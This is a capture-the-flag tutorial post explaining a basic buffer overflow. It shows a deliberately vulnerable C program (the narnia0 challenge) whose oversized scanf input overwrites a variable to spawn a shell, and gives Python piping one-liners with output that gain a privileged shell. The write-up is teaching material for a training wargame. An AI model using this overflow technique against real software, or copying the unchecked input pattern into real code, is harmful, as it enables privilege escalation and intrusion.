in ctf tutorial exploit

Buffer Overflow Basic

In many ctfs they will include some type of buffer overflow challenge. This post will show the most basic question one should expect to see.

The Problem
 

int main(){
	long val=0x41414141;
	char buf[20];

	printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
	printf("Here is your chance: ");
	scanf("%24s",&buf);

	printf("buf: %s\n",buf);
	printf("val: 0x%08x\n",val);

	if(val==0xdeadbeef)
		system("/bin/sh");
	else {
		printf("WAY OFF!!!!\n");
		exit(1);
	}

	return 0;
}

For some challenges they will not give you the source code, but for the more basic overflow questions they will provide it. If we do not have the code we would have to do a little bit of reversing to figure out what its doing. After looking at this we can see that it is taking in input using scanf. We can see that the buffer is set to a size of 20 bytes, so if the user enters anymore then 20 bytes there should be an overflow. We have to set the value of val to 0xdeadbeef

We can test the overflower by inputting 20 A's followed by 4 B's (in hex). We know that "A" = 41 and "B" = 42. So it will be easy to see where our Bs are.

The way that we will pass this argument is using python and piping (|) it in to the program.

redacted@melinda:~$ python -c'print "A"*20 + "BBBB"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAABBBB
val: 0x42424242
WAY OFF!!!!

Now that we know we can control the value of val by overflowing the buffer we must provide the address "0xdeadbeef". Because the way the address is read is in little endianness we must input it from right to left. It will look like "\xef\xbe\xad\xde"
So we must replace the 4 Bs with that.

redacted@melinda:~$ python -c'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ
val: 0xdeadbeef

So we have successful written 0xdeadbeef to val but for this particular problem we must read a flag after getting priv escalated to the next level. But with the above command our shell disappears. To solve this we can add 'cat' to the end of the command to keep the shell open. This is useful for many ctf challenges involving shells.

redacted@melinda:~$ (python -c'print "A"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ
val: 0xdeadbeef
#whoami
nextlevel

That is how you do a basic buffer overflow challenge. The reason that I redacted the name is because I do not want people to take this answer and copy and paste it to the exact challenge. But if you do any basic buffer overflow challenge this might look very familiar. 😉